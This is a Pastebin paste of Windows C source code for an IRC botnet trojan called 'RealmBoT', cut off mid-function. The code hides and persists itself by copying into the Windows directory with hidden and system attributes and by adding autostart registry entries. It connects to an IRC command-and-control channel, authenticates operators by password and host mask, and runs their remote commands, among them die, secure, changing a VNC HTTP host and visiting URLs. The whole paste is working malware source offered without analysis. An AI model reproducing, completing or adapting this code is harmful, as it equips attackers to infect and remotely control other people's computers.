Advertisement
Guest User

Untitled

a guest
Mar 9th, 2016
670
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 169.27 KB | None | 0 0
  1. #include "headers/includes.h"
  2. #include "headers/functions.h"
  3. #include "Hook/config/cfg.h"
  4. #include "headers/passwd.h"
  5. #include "headers/globals.h"
  6. #include "headers/externs.h"
  7.  
  8.  
  9. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  10. {
  11. char logbuf[LOGLINE],fname[_MAX_FNAME],ext[_MAX_EXT],rfilename[MAX_PATH],cfilename[MAX_PATH],windir[MAX_PATH];
  12.  
  13. int i = 0, err = 0;
  14. DWORD id=0;
  15. BOOL bkpserver = FALSE;
  16.  
  17. #ifndef NO_EHANDLER
  18. DWORD handler = (DWORD)_except_handler;
  19. _asm
  20. {
  21. push handler
  22. push FS:[0]
  23. mov FS:[0],ESP
  24. }
  25. if (sp2_mod) {
  26. sp2mod();
  27. }
  28.  
  29. #endif
  30.  
  31. // record start time
  32. started = GetTickCount() / 1000;
  33. // re-seed random numbers
  34. srand(GetTickCount());
  35.  
  36. #ifdef DEBUG_LOGGING
  37. opendebuglog();
  38. #endif
  39.  
  40. #ifndef NO_CRYPT // Don't decrypt password here
  41. decryptstrings((sizeof((char *)authost) / sizeof(LPTSTR)), (sizeof((char *)bversion) / sizeof(LPTSTR)));
  42. #endif
  43.  
  44. LoadDLLs(); // load all the dlls and functions here
  45.  
  46. // hide system messages if bot crashes
  47. fSetErrorMode(SEM_NOGPFAULTERRORBOX);
  48.  
  49. // check if this exe is running already
  50. if (WaitForSingleObject(CreateMutex(NULL, FALSE, botid), 30000) == WAIT_TIMEOUT)
  51. ExitProcess(EXIT_FAILURE);
  52.  
  53. WSADATA WSAdata;
  54. if ((err = fWSAStartup(MAKEWORD(2, 2), &WSAdata)) != 0)
  55. return 0;
  56. if (LOBYTE(WSAdata.wVersion) != 2 || HIBYTE(WSAdata.wVersion) != 2 ) {
  57. fWSACleanup();
  58. return 0;
  59. }
  60.  
  61. GetWindowsDirectory(windir, sizeof(windir));
  62. GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));
  63. _splitpath(cfilename, NULL, NULL, fname, ext);
  64. _snprintf(rfilename, sizeof(rfilename), "%s%s", fname, ext);
  65.  
  66. if (strstr(cfilename, windir) == NULL) {
  67. char tmpfilename[MAX_PATH];
  68. if (rndfilename) {
  69. for (i=0;(unsigned int)i < (strlen(filename) - 4);i++)
  70. filename[i] = (char)((rand() % 26) + 97);
  71. }
  72. sprintf(tmpfilename, "%s\\%s", windir, filename);
  73.  
  74. if (GetFileAttributes(tmpfilename) != INVALID_FILE_ATTRIBUTES)
  75. SetFileAttributes(tmpfilename,FILE_ATTRIBUTE_NORMAL);
  76.  
  77. // loop only once to make sure the file is copied.
  78. BOOL bFileCheck=FALSE;
  79. while (CopyFile(cfilename, tmpfilename, FALSE) == FALSE) {
  80. DWORD result = GetLastError();
  81.  
  82. if (!bFileCheck && (result == ERROR_SHARING_VIOLATION || result == ERROR_ACCESS_DENIED)) {
  83. bFileCheck=TRUE; // check to see if its already running! then try 1 last time.
  84. Sleep(15000);
  85. } else
  86. break; // just continue, it's not worth retrying.
  87. }
  88. SetFileTime(tmpfilename);
  89. SetFileAttributes(tmpfilename,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
  90.  
  91. PROCESS_INFORMATION pinfo;
  92. STARTUPINFO sinfo;
  93. memset(&pinfo, 0, sizeof(pinfo));
  94. memset(&sinfo, 0, sizeof(sinfo));
  95. sinfo.lpTitle = "";
  96. sinfo.cb = sizeof(sinfo);
  97. sinfo.dwFlags = STARTF_USESHOWWINDOW;
  98.  
  99.  
  100. char cmdline[MAX_PATH];
  101. HANDLE hProcessOrig = OpenProcess(SYNCHRONIZE, TRUE, GetCurrentProcessId());
  102. sprintf(cmdline,"%s %d \"%s\"",tmpfilename, hProcessOrig, cfilename);
  103.  
  104. if (CreateProcess(tmpfilename, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, windir, &sinfo, &pinfo)) {
  105. Sleep(200);
  106. CloseHandle(pinfo.hProcess);
  107. CloseHandle(pinfo.hThread);
  108. fWSACleanup();
  109. ExitProcess(EXIT_SUCCESS);
  110. }
  111. }
  112.  
  113.  
  114.  
  115. if ((AutoStart) && !(noadvapi32))
  116. AutoStartRegs(rfilename);
  117.  
  118.  
  119. sprintf(logbuf,"RealmBoT (irc.p.l.g) .»». Bot started.");
  120. addthread(logbuf,MAIN_THREAD,NULL);
  121. addlog(logbuf);
  122.  
  123. // remove the following line if you don't want any predefined aliases
  124. memset(aliases, 0, sizeof(aliases));
  125. addpredefinedaliases();
  126.  
  127.  
  128. #ifndef NO_SECSYSTEM
  129. sprintf(logbuf,"[REALMBOT] €secure€ >> System secure monitor active. <<");
  130. i=addthread(logbuf,KILLER_THREAD,NULL);
  131. if ((threads[i].tHandle = CreateThread(NULL, 0, &AutoSecure, NULL, 0, &id)) == NULL)
  132. sprintf(logbuf,"RealmBoT (secure.p.l.g) .»». Failed to start secure thread, error: <%d>.", GetLastError());
  133. addlog(logbuf);
  134. #endif
  135.  
  136. #ifndef NO_VNC
  137. sethttp(http);
  138. #endif
  139.  
  140. #ifndef NO_REGISTRY
  141. sprintf(logbuf,"RealmBoT(secure.p.l.g) .»». Registry monitor active.");
  142. i=addthread(logbuf,KILLER_THREAD,NULL);
  143. if ((threads[i].tHandle = CreateThread(NULL, 0, &AutoRegistry, (LPVOID)&rfilename, 0, &id)) == NULL)
  144. sprintf(logbuf,"RealmBoT (secure.p.l.g) .»». Failed to start registry thread, error: <%d>.", GetLastError());
  145. addlog(logbuf);
  146. #endif
  147.  
  148.  
  149.  
  150. #ifndef NO_IDENT
  151. if (findthreadid(IDENT_THREAD) == 0) {
  152. sprintf(logbuf,"RealmBoT (identd.p.l.g) .»». Server running on Port: 113.");
  153. i = addthread(logbuf,IDENT_THREAD,NULL);
  154. if ((threads[i].tHandle = CreateThread(NULL, 0, &IdentThread, (LPVOID)i, 0, &id)) == NULL)
  155. sprintf(logbuf,"RealmBoT (identd.p.l.g) .»». Failed to start server, error: <%d>.", GetLastError());
  156. addlog(logbuf);
  157. }
  158. #endif
  159.  
  160. // copy settings into main irc structure
  161. strncpy(mainirc.host, server, sizeof(mainirc.host)-1);
  162. mainirc.port = port;
  163. strncpy(mainirc.channel, channel, sizeof(mainirc.channel)-1);
  164. strncpy(mainirc.chanpass, chanpass, sizeof(mainirc.chanpass)-1);
  165. mainirc.spy = 0;
  166.  
  167. while (1) {
  168. for (i = 0; i < 6; i++) {
  169. #ifndef NO_CONNCHECK
  170. DWORD cstat;
  171. // check if we're connected to the internet... if not, then wait 5mins and try again
  172. if (!nowininet) if (fInternetGetConnectedState(&cstat, 0) == FALSE) {
  173. Sleep(30000);
  174. continue;
  175. }
  176. #endif
  177.  
  178. success = FALSE;
  179. if ((err = irc_connect((LPVOID)&mainirc)) == 2)
  180. break; // break out of the loop
  181.  
  182. if (success) i--; // if we're successful in connecting, decrease i by 1;
  183.  
  184. // irc_connect didn't return 2, so we need to sleep then reconnect
  185. Sleep(3000);
  186. }
  187.  
  188. if (err == 2) break; // break out of the loop and close
  189.  
  190. if (bkpserver) {
  191. strncpy(mainirc.host, server, sizeof(mainirc.host)-1);
  192. mainirc.port = port;
  193. strncpy(mainirc.channel, channel, sizeof(mainirc.channel)-1);
  194. strncpy(mainirc.chanpass, chanpass, sizeof(mainirc.chanpass)-1);
  195. bkpserver = FALSE;
  196. }
  197.  
  198. }
  199.  
  200. // cleanup;
  201. killthreadall();
  202. fWSACleanup();
  203.  
  204. return 0;
  205. }
  206.  
  207. // connect function used by the original bot and all clones/spies
  208. DWORD WINAPI irc_connect(LPVOID param)
  209. {
  210. SOCKET sock;
  211. SOCKADDR_IN ssin;
  212.  
  213. char *nick1, nickbuf[MAXNICKLEN];
  214.  
  215. int rval;
  216.  
  217. IRC irc = *((IRC *)param);
  218. IRC *ircs = (IRC *)param;
  219. ircs->gotinfo = TRUE;
  220.  
  221. while (1) {
  222. memset(&ssin, 0, sizeof(ssin));
  223. ssin.sin_family = AF_INET;
  224. ssin.sin_port = fhtons((unsigned int)irc.port);
  225. if ((ssin.sin_addr.s_addr=ResolveAddress(irc.host)) == 0)
  226. return 0;
  227.  
  228. memset(nickbuf, 0, sizeof(nickbuf));
  229. nick1 = rndnick(nickbuf, nicktype, nickprefix);
  230. strncpy(threads[irc.threadnum].nick, nick1, sizeof(threads[irc.threadnum].nick)-1);
  231.  
  232. sock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  233. threads[irc.threadnum].sock = sock;
  234. if (fconnect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == SOCKET_ERROR) {
  235. fclosesocket(sock);
  236. FlushDNSCache();
  237. Sleep(2000);
  238. continue;
  239. }
  240.  
  241.  
  242. addlogv("RealmBoT (irc.p.l.g) .»». Connected to %s.", irc.host);
  243.  
  244. rval = irc_receiveloop(sock, irc.channel, irc.chanpass, nick1, irc.sock, irc.hchan, irc.host, irc.spy);
  245. fclosesocket(sock);
  246.  
  247. if (rval == 0)
  248. continue;
  249. else if (rval == 1) { //Disconnect (sleep 15 mins, reconnect..)
  250. Sleep(900000);
  251. continue;
  252. }
  253. else if (rval == 2)
  254. break; //Quit
  255. }
  256. clearthread(irc.threadnum);
  257.  
  258. return rval;
  259. }
  260.  
  261. // receive loop for bots/spies
  262. int irc_receiveloop(SOCKET sock, char *channel, char *chanpass, char *nick1, SOCKET hsock, char *hchannel, char *server, int spy)
  263. {
  264. // main receive buffer
  265. char buffer[4096], masters[MAXLOGINS][128], *lines[MAX_LINES], str[18], login[128], host[160];
  266. int i, j, repeat, in_channel=0;
  267.  
  268. for (i = 0; i < MAXLOGINS; i++)
  269. masters[i][0] = '\0';
  270.  
  271.  
  272. if (serverpass[0] != '\0')
  273. irc_sendv(sock,"PASS %s\r\n",serverpass);
  274.  
  275. sprintf(login, "NICK %s\r\n"
  276. "USER %s 0 0 :%s\r\n", nick1, rndnick(str,LETTERNICK, FALSE), nick1);
  277.  
  278. #ifdef DEBUG_LOGGING
  279. debuglog(login,FALSE);
  280. #endif
  281.  
  282. if (fsend(sock, login, strlen(login), 0) == SOCKET_ERROR) {
  283. fclosesocket(sock);
  284. Sleep(5000);
  285. return 0;
  286. }
  287.  
  288. // loop forever
  289. while(1) {
  290. memset(buffer, 0, sizeof(buffer));
  291. // if recv() returns 0, that means that the connection has been lost.
  292. if (frecv(sock, buffer, sizeof(buffer), 0) <= 0)
  293. break;
  294.  
  295. // FIX ME: Truncation occurs here
  296. // split lines up if multiple lines received at once, and parse each line
  297. i = Split(buffer,&lines);
  298. for (j=0;j < i;j++) {
  299. repeat=1;
  300. do {
  301. #ifdef DEBUG_LOGGING
  302. debuglog(lines[j]);
  303. #endif
  304.  
  305. repeat = irc_parseline(lines[j], sock, channel, chanpass, nick1, server, masters, host, &in_channel, repeat, spy);
  306. repeat--;
  307.  
  308. if (repeat > 0)
  309. Sleep(FLOOD_DELAY);
  310. } while (repeat > 0);
  311.  
  312. switch (repeat) {
  313. case -1:
  314. return 0; // Reconnect
  315. case -2:
  316. return 1; // Disconnect
  317. case -3:
  318. return 2; // Quit
  319. default:
  320. break;
  321. }
  322. }
  323. }
  324.  
  325. return 0;
  326. }
  327.  
  328. // function to parse lines for the bot and clones
  329. int irc_parseline(char *line, SOCKET sock, char *channel, char *chanpass, char *nick1, char *server, char masters[][128], char *host, int *in_channel, int repeat, int spy)
  330. {
  331. char line1[IRCLINE], line2[IRCLINE], sendbuf[IRCLINE],ntmp[12], ntmp2[3];
  332. char *a[MAXTOKENS], a0[128], nick[MAXNICKLEN], user[24];
  333. unsigned char parameters[256];
  334.  
  335. int i, ii, s=3;
  336. DWORD id=0;
  337. BOOL ismaster = FALSE, silent = FALSE, notice = FALSE, usevars = FALSE;
  338.  
  339. memset(sendbuf, 0, sizeof(sendbuf));
  340.  
  341. strncpy(nick, nick1, sizeof(nick)-1);
  342.  
  343. if (line == NULL) return 1;
  344. memset(line1, 0, sizeof(line1));
  345. strncpy(line1, line, sizeof(line1)-1);
  346. char *x = strstr(line1, " :");
  347.  
  348. // split the line up into seperate words
  349. strncpy(line2, line1, sizeof(line2)-1);
  350. a[0] = strtok(line2, " ");
  351. for (i = 1; i < MAXTOKENS; i++)
  352. a[i] = strtok(NULL, " ");
  353.  
  354. if (a[0] == NULL || a[1] == NULL)
  355. return 1;
  356.  
  357. memset(parameters,0,sizeof(parameters));
  358. for (i=31;i>=0;i--) {
  359. if (!a[i])
  360. continue;
  361. if ((a[i][0]=='-') && (a[i][2]==0)) {
  362. //Looks like a valid parameter..
  363. parameters[a[i][1]]=1;
  364. a[i][0]=0;
  365. a[i][1]=0;
  366. a[i][2]=0;
  367. a[i]=NULL;
  368. } else
  369. break;
  370. }
  371.  
  372. if (parameters['s'])
  373. silent=TRUE;
  374. if (parameters['n']) {
  375. silent=FALSE;
  376. notice=TRUE;
  377. }
  378.  
  379. if (a[0][0] != '\n') {
  380. strncpy(a0, a[0], sizeof(a0)-1);
  381. strncpy(user, a[0]+1, sizeof(user)-1);
  382. strtok(user, "!");
  383. }
  384.  
  385. // pong if we get a ping request from the server
  386. if (strcmp("PING", a[0]) == 0) {
  387. a[0][1]='O';
  388.  
  389. //irc_sendv(sock, "PONG %s\r\n", a[1]+1);
  390. irc_sendv(sock, "PONG %s\r\n", a[1]);
  391. if (*in_channel == 0)
  392. irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass);
  393. irc_sendv(sock, "topic %s :%s \r\n ", channel, topics);
  394. irc_sendv(sock, "MODE %s +mnst \r\n", channel, chanpass);
  395. return 1;
  396. }
  397.  
  398. // looks like we're connected to the server, let's join the channel
  399. if (strcmp("001", a[1]) == 0 || strcmp("005", a[1]) == 0) {
  400. irc_sendv(sock, "USERHOST %s\r\n", nick1); // get our hostname
  401. #ifndef NO_MODEONCONN
  402. irc_sendv(sock, "MODE %s %s\r\n", nick1, modeonconn);
  403. #else
  404. irc_sendv(sock, "MODE %s +i\r\n", nick1);
  405. #endif
  406. irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass);
  407. success = TRUE;
  408. return 1;
  409. }
  410.  
  411. // get host
  412. if (strcmp("302", a[1]) == 0) {
  413. char *h = strstr(a[3], "@");
  414. if (h != NULL)
  415. strncpy(host, h+1, 159);
  416. return 1;
  417. }
  418.  
  419. // nick already in use
  420. if (strcmp("433", a[1]) == 0) {
  421. rndnick(nick1, nicktype, nickprefix);
  422. irc_sendv(sock, "NICK %s\r\n", nick1);
  423. return 1;
  424. }
  425.  
  426. // check if user is logged in
  427. for (i = 0; i < MAXLOGINS; i++) {
  428. if (strcmp(masters[i], a0) == 0)
  429. ismaster = TRUE;
  430. }
  431.  
  432. //rejoin channel if we're kicked, otherwise reset master if it was our master that got kicked
  433. if (strcmp("KICK", a[1]) == 0) {
  434. char *knick;
  435. for (i = 0; i < MAXLOGINS; i++) {
  436. if (masters[i][0] == '\0') continue;
  437. strncpy(a0, masters[i], sizeof(a0)-1);
  438. knick = user;
  439. if (knick != NULL && a[3] != NULL)
  440. if (strcmp(knick, a[3]) == 0) {
  441. masters[i][0] = '\0';
  442. sprintf(sendbuf,"[REALMBOT] << User %s logged out. >>", knick);
  443. irc_sendv(sock, "NOTICE %s :%s\r\n", knick, sendbuf);
  444. addlog(sendbuf);
  445. }
  446. }
  447. if (strcmp(nick1, a[3]) == 0) {
  448. *in_channel = 0;
  449. irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass);
  450. }
  451. return 1;
  452. }
  453.  
  454. if (strcmp("NICK", a[1]) == 0) {
  455. char *oldnck = user, *newnck = a[2] + 1;
  456. for (i=0;i<MAXLOGINS;i++) {
  457. if (strcmp(masters[i],a0) == 0) {
  458. //Master has changed nick
  459. //Lets TRY to rebuild the master-usermask.
  460. char *identandhost=strchr(a0,'!');
  461. if (identandhost) {
  462. masters[i][0]=':'; //Prefix
  463. strcpy(&masters[i][1],newnck);
  464. strcat(&masters[i][2],identandhost);
  465. }
  466. }
  467. }
  468. if(oldnck != NULL && newnck != NULL) {
  469. if(strcmp(oldnck, nick1) == 0) {
  470. strncpy(nick1, newnck, 15);
  471. return 1;
  472. }
  473. char debugbuf[100];
  474. for (i = 0; i < MAXLOGINS; i++) {
  475. if(masters[i][0] != '\0' && strcmp(masters[i], a0) == 0) {
  476. char *ih = strchr(a0, '!');
  477. if(ih == NULL || strlen(newnck) + strlen(ih) > 126)
  478. return 1;
  479. sprintf(masters[i], ":%s%s", newnck, ih);
  480. irc_privmsg(sock, channel, debugbuf, FALSE);
  481. break;
  482. }
  483. }
  484. }
  485.  
  486. return 1;
  487. }
  488.  
  489. // reset master if master parts or quits
  490. if (strcmp("PART", a[1]) == 0 || strcmp("QUIT", a[1]) == 0) {
  491. for (i = 0; i < MAXLOGINS; i++) {
  492. if (masters[i][0] != '\0') {
  493. if (strcmp(masters[i], a[0]) == 0) {
  494. masters[i][0] = '\0';
  495. sprintf(sendbuf, "RealmBoT (irc.p.l.g) .»». User: %s logged out.", user);
  496. addlog(sendbuf);
  497. if (strcmp("PART", a[1]) == 0)
  498. irc_sendv(sock, "NOTICE %s :%s\r\n", a[0] + 1, sendbuf);
  499. return 1;
  500. }
  501. }
  502. }
  503. }
  504.  
  505. // we've successfully joined the channel
  506. if (strcmp("353", a[1]) == 0) {
  507. if (strcmp(channel, a[4]) == 0)
  508. *in_channel = 1;
  509. addlogv("RealmBoT (irc.p.l.g) .»». Joined channel: %s.", a[4]);
  510. return 1;
  511. }
  512.  
  513. // if we get a privmsg, notice or topic command, start parsing it
  514. if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0 || (strcmp("332", a[1]) == 0 && topiccmd)) {
  515. if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0) { // it's a privmsg/notice
  516. if (strcmp("NOTICE", a[1]) == 0)
  517. notice = TRUE;
  518. if (a[2] == NULL) return 1;
  519.  
  520. if (strstr(a[2], "#") == NULL || notice)
  521. a[2] = user;
  522.  
  523. if (a[3] == NULL) return 1;
  524. a[3]++;
  525. // if our nick is the first part of the privmsg, then we should look at a[4] for a command, a[3] otherwise.
  526. if (a[3] && nick1)
  527. if (strncmp(nick, a[3], strlen(nick)) == 0)
  528. s = 4;
  529. else
  530. s = 3;
  531. if (a[s] == NULL) return 1;
  532. // if someone asks for our version, send version reply
  533. // new version code that doesn't crash bot
  534.  
  535. if (strcmp("\1VERSION\1", a[s]) == 0)
  536. if (a[2][0] != '#' && bversion != '\0') {
  537. irc_sendv(sock, "NOTICE %s :\1VERSION %s\1\r\n", a[2], bversion);
  538.  
  539. sprintf(sendbuf, "%s has just versioned me.", user);//->
  540. addlog(sendbuf);
  541.  
  542. if (!ismaster)
  543. irc_privmsg(sock, mainirc.channel, sendbuf, true);
  544.  
  545. return 1;
  546. }
  547. else if (strcmp("\1PING", a[s]) == 0)
  548. if (a[s+1] != NULL && a[2][0] != '#') {
  549. irc_sendv(sock, "NOTICE %s :\1PING %s\1\r\n", a[2], a[s+1]);
  550. return 1;
  551. }
  552. } else { // it's a topic command
  553. s = 4;
  554. a[4]++;
  555. a[2] = a[3];
  556. }
  557.  
  558.  
  559. if (a[s]++[0] != prefix)
  560. return 1;
  561.  
  562. #ifdef DEBUG_CRYPT // NOTE: Here for testing only. Please leave until we have the auth bug looked at.
  563. #ifndef NO_CRYPT
  564. if (strcmp("dump", a[s]) == 0) {
  565. if (a[s+1]) {
  566. irc_sendv(sock, "NOTICE %s : Id = '%s'\r\n",user,botid); Sleep(FLOOD_DELAY);
  567. irc_sendv(sock, "NOTICE %s : Version = '%s'\r\n",user,version); Sleep(FLOOD_DELAY);
  568. irc_sendv(sock, "NOTICE %s : Server = '%s'\r\n",user,server); Sleep(FLOOD_DELAY);
  569. irc_sendv(sock, "NOTICE %s : Channel = '%s'\r\n",user,channel); Sleep(FLOOD_DELAY);
  570. irc_sendv(sock, "NOTICE %s : Nickconst = '%s'\r\n",user,nickconst); Sleep(FLOOD_DELAY);
  571. irc_sendv(sock, "NOTICE %s : Authost = '%s'\r\n",user,authost[0]);
  572. irc_sendv(sock, "NOTICE %s : Password(before) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
  573. Crypt(password,strlen(password));
  574. irc_sendv(sock, "NOTICE %s : Password = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
  575. Crypt(password,strlen(password));
  576. irc_sendv(sock, "NOTICE %s : Password(enc) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
  577. Crypt(a[s+1],strlen(a[s+1]));
  578. irc_sendv(sock, "NOTICE %s : Password(arg) = '%s'\r\n",user,a[s+1]); Sleep(FLOOD_DELAY);
  579. }
  580.  
  581. return 1;
  582. }
  583. #endif
  584. #endif
  585.  
  586. // see if someone is logging in
  587. if (strcmp("login", a[s]) == 0 || strcmp("l", a[s]) == 0) {
  588. if (a[s+1] == NULL || ismaster)
  589. return 1;
  590.  
  591. char *u = strtok(a[0], "!") + 1, *h = strtok(NULL, "\0");
  592. h = strtok(h, "~");
  593. #ifndef NO_CRYPT
  594. Crypt(a[s+1],strlen(a[s+1]),"",0); // Encrypt password to compare to stored password
  595. #endif
  596. if (strcmp(password, a[s+1]) != 0) {
  597. irc_sendv(sock, "NOTICE %s :Are you a Fucker?. (%s!%s).\r\n", user, user, h);
  598. irc_sendv(sock, "NOTICE %s :No pass for you.\r\n", user);
  599. sprintf(sendbuf, "RealmBoT (irc.p.l.g) .»». *Failed pass auth by: (%s!%s).", u, h);
  600. // irc_sendv(sock, "MSG %s *Failed pass auth by: (%s!%s)." ", channel, u, h);
  601. addlog(sendbuf);
  602. return 1;
  603. }
  604.  
  605. BOOL host_ok=FALSE;
  606.  
  607. for (i=0;i<(sizeof((char *)authost) / sizeof(LPTSTR));i++) {
  608.  
  609. #ifndef NO_WILDCARD
  610. if (wildcardfit(authost[i], h)) {
  611. host_ok = TRUE;
  612. break;
  613. }
  614. #else
  615. if (strcmp(h, authost[i]) == 0) {
  616. host_ok = TRUE;
  617. break;
  618. }
  619. #endif
  620. }
  621. if (!host_ok) {
  622. irc_sendv(sock, "NOTICE %s :WTF!? no yet fucker!. (%s!%s).\r\n", user, user, h);
  623. irc_sendv(sock, "NOTICE %s :Orders: No Talk with you.\r\n", user);
  624. sprintf(sendbuf, "RealmBoT (irc.p.l.g) .»». *Failed host auth by: (%s!%s).", u, h);
  625. addlog(sendbuf);
  626. return 1;
  627. }
  628. for (i = 0; i < MAXLOGINS; i++) {
  629. if (a[s+1] == NULL) return 1;
  630. if (masters[i][0] != '\0') continue;
  631. if (strcmp(password, a[s+1]) == 0) {
  632. strncpy(masters[i], a0, 127);
  633. if (!silent) irc_privmsg(sock, a[2], "[REALMBOT] : Thank for trying.", notice);
  634. addlogv("RealmBoT (irc.p.l.g) .»». User: %s logged in.", user);
  635. break;
  636. }
  637. }
  638. return 1;
  639. }
  640.  
  641. if ((ismaster || strcmp("332", a[1]) == 0) && spy == 0) {
  642. // commands requiring no parameters
  643. // check if the command matches an alias's name
  644. for (i = 0; i < anum; i++) {
  645. if (strcmp(aliases[i].name, a[s]) == 0) {
  646. char *sc = strstr(line, " :");
  647. if (sc == NULL) return 1;
  648. sc[2] = prefix;
  649. sc[3] = prefix;
  650. strncpy(sc+4, aliases[i].command, 159);
  651.  
  652. // process '$x-' parameter variables
  653. for (ii=15; ii > 0; ii--) {
  654. sprintf(ntmp, "$%d-", ii);
  655. if (strstr(line, ntmp) != NULL && a[s+ii+1] != NULL) {
  656. x = x + strlen(aliases[i].name);
  657. if (x != NULL) {
  658. char *y = strstr(x, a[s+ii]);
  659. if (y != NULL) replacestr(line, ntmp, y);
  660. }
  661. }
  662. else if (a[s+ii+1] == NULL) {
  663. strncpy(ntmp2, ntmp, 2);
  664. ntmp2[2] = '\0';
  665. replacestr(line, ntmp, ntmp2);
  666. }
  667. }
  668.  
  669. // process '$x' parameter variables
  670. for (ii=16; ii > 0; ii--){
  671. sprintf(ntmp, "$%d", ii);
  672. if (strstr(line, ntmp) != NULL && a[s+ii] != NULL)
  673. replacestr(line, ntmp, a[s+ii]);
  674. }
  675.  
  676. usevars = TRUE;
  677. break;
  678. }
  679. }
  680.  
  681. if (a[s][0] == prefix || usevars) {
  682. // process variables
  683. replacestr(line, "$me", nick1); // bot's nick
  684. replacestr(line, "$user", user); // user's nick
  685. replacestr(line, "$chan", a[2]); // channel name (or user name if this is a privmsg to the bot)
  686. replacestr(line, "$rndnick", rndnick(ntmp)); // random string of 4-7 characters
  687. replacestr(line, "$server", server); // name of current server
  688.  
  689. // process '$chr()' variables
  690. while (strstr(line, "$chr(") != NULL) {
  691. char *c = strstr(line, "$chr(");
  692. strncpy(ntmp, c+5, 4);
  693. strtok(ntmp, ")");
  694. if (ntmp[0] < 48 || ntmp[0] > 57)
  695. strncpy(ntmp, "63", 3);
  696. if (atoi(ntmp) > 0)
  697. ntmp2[0] = (char)atoi(ntmp);
  698. else
  699. ntmp2[0] = (char)((rand()%96) + 32);
  700. ntmp2[1] = '\0';
  701. ii = strlen(ntmp);
  702. memset(ntmp, 0, sizeof(ntmp));
  703. strncpy(ntmp, c, ii+6);
  704. replacestr(line, ntmp, ntmp2);
  705. }
  706.  
  707. // re-split the line into seperate words
  708. strncpy(line1, line, sizeof(line1)-1);
  709. strncpy(line2, line1, sizeof(line2)-1);
  710. a[0] = strtok(line2, " ");
  711. for (i = 1; i < 32; i++)
  712. a[i] = strtok(NULL, " ");
  713. if (a[s] == NULL)
  714. return 1;
  715. a[s] += 3;
  716. }
  717.  
  718. if (strcmp("rndnick", a[s]) == 0 || strcmp("rn", a[s]) == 0) {
  719. rndnick(nick, nicktype, ((parameters['p'])?(TRUE):(FALSE)), a[s+1]);
  720. irc_sendv(sock, "NICK %s\r\n", nick);
  721.  
  722. addlogv("RealmBoT (irc.p.l.g) .»». Random nick change: %s",nick);
  723.  
  724. return repeat;
  725. }
  726. else if (strcmp("die", a[s]) == 0 || strcmp("irc.di", a[s]) == 0) {
  727. if (strcmp("332", a[1]) != 0) {
  728. #ifdef DEBUG_LOGGING
  729. closedebuglog();
  730. #endif
  731. killthreadall();
  732. ExitProcess(EXIT_SUCCESS);
  733. }
  734. }
  735. else if (strcmp("logout", a[s]) == 0 || strcmp("lo", a[s]) == 0) {
  736. if (a[s+1]) {
  737. i = atoi(a[s+1]);
  738. if(i >= 0 && i < MAXLOGINS) {
  739. if(masters[i][0] != '\0') {
  740. sprintf(sendbuf, "[REALMBOT] << User %s logged out. >>", masters[i]+1);
  741. masters[i][0] = '\0';
  742. } else
  743. sprintf(sendbuf, "RealmBoT (irc.p.l.g) .»». No user logged in at slot: %d.", i);
  744. } else
  745. sprintf(sendbuf, "RealmBoT(irc.p.l.g) .»». Invalid login slot number: %d.", i);
  746. } else {
  747. for (i = 0; i < MAXLOGINS; i++)
  748. if (strcmp(masters[i], a[0]) == 0) {
  749. masters[i][0] = '\0';
  750. sprintf(sendbuf, "[REALMBOT] << User %s logged out. >>", user);
  751. break;
  752. }
  753. }
  754. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  755. addlog(sendbuf);
  756.  
  757. return 1;
  758. }
  759. #ifndef NO_BOTVERSION
  760. else if (strcmp("versionship", a[s]) == 0 || strcmp("ver", a[s]) == 0) {
  761. sprintf(sendbuf, "RealmBoT (irc.p.l.g) .»». %s", version);
  762. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  763. addlog(sendbuf);
  764.  
  765. return repeat;
  766. }
  767. #endif
  768.  
  769. #ifdef NO_SPEEDTEST
  770. else if (strcmp("speedtest", a[s]) == 0 || strcmp("test", a[s]) == 0) {
  771. DoSpeedTest(sock, a[2], notice);
  772.  
  773. return repeat;
  774. }
  775. #endif
  776.  
  777. #ifndef NO_VNC
  778. else if (strcmp("chghttp", a[s]) == 0)
  779. {
  780. sethttp(a[s+1]);
  781. sprintf(sendbuf,"VNC: HTTP Host Changed To: %s", a[s+1]);
  782. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  783. return 1;
  784. }
  785. #endif
  786.  
  787. #ifndef NO_SECURE
  788. else if (strcmp("secure", a[s]) == 0 || strcmp("sec", a[s]) == 0
  789. || strcmp("lockdown.off", a[s]) == 0 || strcmp("ld.off", a[s]) == 0) {
  790. SECURE secure;
  791. secure.secure = (strcmp("secure",a[s])==0 || strcmp("sec",a[s])==0);
  792. _snprintf(secure.chan, sizeof(secure.chan), a[2]);
  793. secure.sock = sock;
  794. secure.notice = notice;
  795. secure.silent = silent;
  796.  
  797. _snprintf(sendbuf, sizeof(sendbuf),"[REALMBOT] << %s system. >>", ((secure.secure)?("Securing"):("Unsecuring")));
  798. secure.threadnum = addthread(sendbuf, SECURE_THREAD, NULL);
  799. if (threads[secure.threadnum].tHandle = CreateThread(NULL, 0, &SecureThread, (LPVOID)&secure, 0, &id)) {
  800. while (secure.gotinfo == FALSE)
  801. Sleep(50);
  802. } else
  803. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Failed to start secure thread, error: <%d>.", GetLastError());
  804. addlog(sendbuf);
  805.  
  806. return 1;
  807. }
  808. #endif
  809. else if (strcmp("visit", a[s]) == 0 || strcmp("irc.v", a[s]) == 0) {
  810. VISIT visit;
  811. strncpy(visit.host, a[s+1], sizeof(visit.host)-1);
  812. if (a[s+2] != NULL)
